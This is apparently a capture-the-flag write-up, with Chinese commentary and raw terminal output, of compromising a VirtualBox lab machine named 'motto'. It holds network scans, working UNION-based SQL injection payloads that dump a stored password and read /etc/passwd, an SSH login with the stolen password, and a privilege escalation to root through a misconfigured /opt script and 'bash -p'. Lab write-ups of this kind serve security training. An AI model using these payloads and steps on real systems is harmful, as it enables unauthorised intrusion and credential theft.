❯ sudo arp-scan -l Password: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.157 08:00:27:ae:79:5f PCS Systemtechnik GmbH 192.168.60.254 00:50:56:fc:db:36 VMware, Inc. ^C ❯ export ip=192.168.60.157 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Port scanning: Because every port has a story to tell. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.60.157:22 Open 192.168.60.157:80 Open 192.168.60.157:9090 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 23:06 CST Initiating ARP Ping Scan at 23:06 Scanning 192.168.60.157 [1 port] Completed ARP Ping Scan at 23:06, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:06 Completed Parallel DNS resolution of 1 host. at 23:06, 0.85s elapsed DNS resolution of 1 IPs took 0.85s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 23:06 Scanning 192.168.60.157 [3 ports] Discovered open port 22/tcp on 192.168.60.157 Discovered open port 80/tcp on 192.168.60.157 Discovered open port 9090/tcp on 192.168.60.157 Completed SYN Stealth Scan at 23:06, 0.02s elapsed (3 total ports) Nmap scan report for 192.168.60.157 Host is up, received arp-response (0.00039s latency). Scanned at 2025-08-24 23:06:48 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 9090/tcp open zeus-admin syn-ack ttl 64 MAC Address: 08:00:27:AE:79:5F (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
尝试注入' union select 1,2,group_concat(schema_name) from information_schema.schemata ; -- +
继续手工注入
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ; -- +
继续
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database(); -- +
直接读取register_infos表中的password字段
' union select 1,2,password from register_infos ; -- +
得到疑似用户密码cannotforgetyou
利用sql注入还可以读文件，写shell之类的，总之操作很多
' union select 1,2,load_file('/etc/passwd'); -- +
用户提权
尝试利用此redbean用户加上之前拿到的密码ssh连接一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
❯ ssh redbean@$ip redbean@192.168.60.157's password: Linux motto 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 31 04:01:36 2025 from 192.168.56.103 redbean@motto:~$ id uid=1000(redbean) gid=1000(redbean) groups=1000(redbean) redbean@motto:~$ cat user.txt flag{796f756765747265646265616e}
[INFO] Initializing environment checks: ● Module A status: OK (ver 1.15.140) ● Module B status: OK (ver 3.7.483) ● Module C status: OK (ver 4.16.368) Random seed value: 1376 [INFO] Evaluating input parameters... [INFO] Running diagnostic sequence: → Executing test 1 of 3 → Executing test 2 of 3 → Executing test 3 of 3
Waiting period: 6 seconds >> Waiting T-6 seconds... >> Countdown: 5 >> Waiting T-4 seconds... >> Countdown: 3 >> Waiting T-2 seconds... >> Countdown: 1 >> Waiting T-0 seconds... Diagnostics complete. Thank you for using the system monitor. [STATS] Summary Report: Processes checked: 33 /opt/new.sh: line 60: bc: command not found CPU load average: Uptime (hours): 70
# 这是没加空格的，直接走exit2这个条件 redbean@motto:/opt$ ./run_newsh flag
▓▒░ Loading system diagnostics ░▒▓
[INFO] Initializing environment checks: ● Module A status: OK (ver 3.2.224) ● Module B status: OK (ver 5.7.163) ● Module C status: OK (ver 2.14.387) Random seed value: 14915 [INFO] Evaluating input parameters... redbean@motto:/opt$ echo $? 2 # 这是加了的 redbean@motto:/opt$ ./run_newsh 'flag '
▓▒░ Loading system diagnostics ░▒▓
[INFO] Initializing environment checks: ● Module A status: OK (ver 3.18.143) ● Module B status: OK (ver 4.0.21) ● Module C status: OK (ver 5.18.427) Random seed value: 4794 [INFO] Evaluating input parameters... [INFO] Running diagnostic sequence: → Executing test 1 of 3 → Executing test 2 of 3 → Executing test 3 of 3
Waiting period: 3 seconds >> Countdown: 3 >> Waiting T-2 seconds... >> Countdown: 1 >> Waiting T-0 seconds... System stable. Thank you for using the system monitor. [STATS] Summary Report: Processes checked: 61 /opt/new.sh: line 60: bc: command not found CPU load average: Uptime (hours): 15 redbean@motto:/opt$ echo $? 0 redbean@motto:/opt$ bash -p bash-5.0# whoami root bash-5.0# cat /root/root.txt flag{796f75676574726f6f74627574796f7563616e6e6f74676574686572}
